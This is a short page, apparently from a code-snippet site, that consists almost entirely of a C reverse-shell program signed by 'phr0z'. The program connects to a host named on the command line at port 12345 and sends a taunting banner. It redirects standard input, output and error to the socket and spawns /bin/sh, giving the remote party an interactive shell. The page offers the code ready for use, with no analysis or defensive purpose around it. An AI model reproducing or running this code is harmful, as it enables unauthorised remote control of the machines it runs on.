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| 关键词： nbsp include sockfd server struct SHELL sockaddr exit PORT FILENO |
// Wr1tt3n by phr0z #include <netdb.h>#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <sys/socket.h>#include <arpa/inet.h>#include <netinet/in.h>#include <string.h>#include <stdarg.h> #define PORT 12345 // the port client will be connecting to #define SHELL "/bin/sh" // the type of shell we r g0nna spawn int main(int argc, char *argv[]) { int sockfd; struct hostent *he; struct sockaddr_in server; char text[] = "You have a shell\r\nWoot?\r\n"; // Our L33T h4x M3ss4g3 if (argc != 2) { fprintf(stderr,"usage: h0stname/ip\n"); exit(1); } if ((he=gethostbyname(argv[1])) == NULL) { perror("gethostbyname"); exit(1); } if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); } server.sin_family = AF_INET; server.sin_port = htons(PORT); server.sin_addr = *((struct in_addr *)he->h_addr); memset(&(server.sin_zero), '\0', 8); if (connect(sockfd, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) { perror("connect"); exit(1); } send(sockfd, text, strlen(text), 0); dup2(sockfd, STDIN_FILENO); dup2(sockfd, STDOUT_FILENO); dup2(sockfd, STDERR_FILENO); setsid(); system("last -1 $USER | head -n 1; cat /etc/motd"); execve(SHELL, NULL, NULL); close(sockfd); return 0;} |
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